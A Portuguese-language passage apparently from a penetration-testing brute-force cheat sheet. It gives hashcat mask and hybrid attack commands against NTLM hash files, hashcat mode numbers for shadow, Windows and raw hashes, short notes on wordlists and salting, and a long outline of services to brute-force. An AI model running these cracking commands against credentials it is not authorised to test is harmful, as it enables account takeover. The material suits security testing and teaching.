hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask

Ataque de Lista de Palavras + Máscara (-a 6) / Ataque de Máscara + Lista de Palavras (-a 7)

# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Modos do Hashcat

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Quebrando Hashes do Linux - arquivo /etc/shadow

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Quebra de Hashes do Windows

Para quebrar hashes do Windows, você pode usar ferramentas como o John the Ripper ou o Hashcat. Essas ferramentas são capazes de realizar ataques de força bruta em hashes do Windows para descobrir as senhas originais. Certifique-se de usar dicionários de senhas e regras personalizadas para aumentar suas chances de sucesso na quebra dos hashes do Windows.

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Quebrando Hashes de Aplicativos Comuns

Ao realizar testes de penetração, é comum encontrar hashes de senhas armazenadas em bancos de dados de aplicativos. Para quebrar esses hashes e recuperar as senhas originais, os testadores de penetração geralmente recorrem a ataques de força bruta.

Ataques de Força Bruta

Os ataques de força bruta envolvem tentar todas as combinações possíveis de caracteres para encontrar a senha correta que corresponde ao hash. Existem várias ferramentas disponíveis que automatizam esse processo, como o John the Ripper e o Hashcat.

Dicionários e Listas de Senhas

Além dos ataques de força bruta, os testadores de penetração também podem usar dicionários e listas de senhas comuns para tentar quebrar os hashes mais rapidamente. Essas listas contêm senhas frequentemente usadas, vazadas em violações de dados anteriores.

Salting

Para tornar a quebra de hashes mais difícil, muitos aplicativos adicionam um "salt" às senhas antes de calcular o hash. O "salt" é um valor aleatório único que é concatenado com a senha antes de ser hash. Isso torna mais difícil para os atacantes pré-calcular hashes para senhas comuns.

Ao lidar com hashes de aplicativos comuns, é importante estar ciente dessas técnicas e recursos para ajudar na quebra de senhas e garantir a segurança dos sistemas.

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash

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45 KiB Raw Blame History Unescape Escape

Brute Force - CheatSheet

Credenciais Padrão

Crie seus próprios Dicionários

Crunch

Cewl

CUPP

Wister

pydictor

Listas de Palavras

Serviços

AFP

AJP

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

Cassandra

CouchDB

Registro do Docker

Elasticsearch

Brute Force

FTP

Brute Force Genérico HTTP

WFuzz

Autenticação Básica HTTP

HTTP - NTLM

HTTP - Post Form

Brute Force

Prevention

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

IMAP

IRC

Brute Force

ISCSI

JWT

LDAP

MQTT

MQTT

Mongo

MSSQL

Brute Force

MySQL

OracleSQL

Brute Force

POP

POP

PostgreSQL

PPTP

RDP

Redis

Rexec

Rlogin

Rsh

Brute Force

Mitigation

Rsync

RTSP

SFTP

SNMP

SMB

SMB

SMTP

SOCKS

SQL Server

Brute Force

SSH

SSH

Chaves SSH fracas / Debian PRNG previsível

STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

Telnet

VNC

Winrm

Local

Bancos de dados de quebra online

ZIP

Ataque conhecido de zip de texto simples

7z

7z

PDF

Brute Force

Tools

Techniques

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Raw Blame History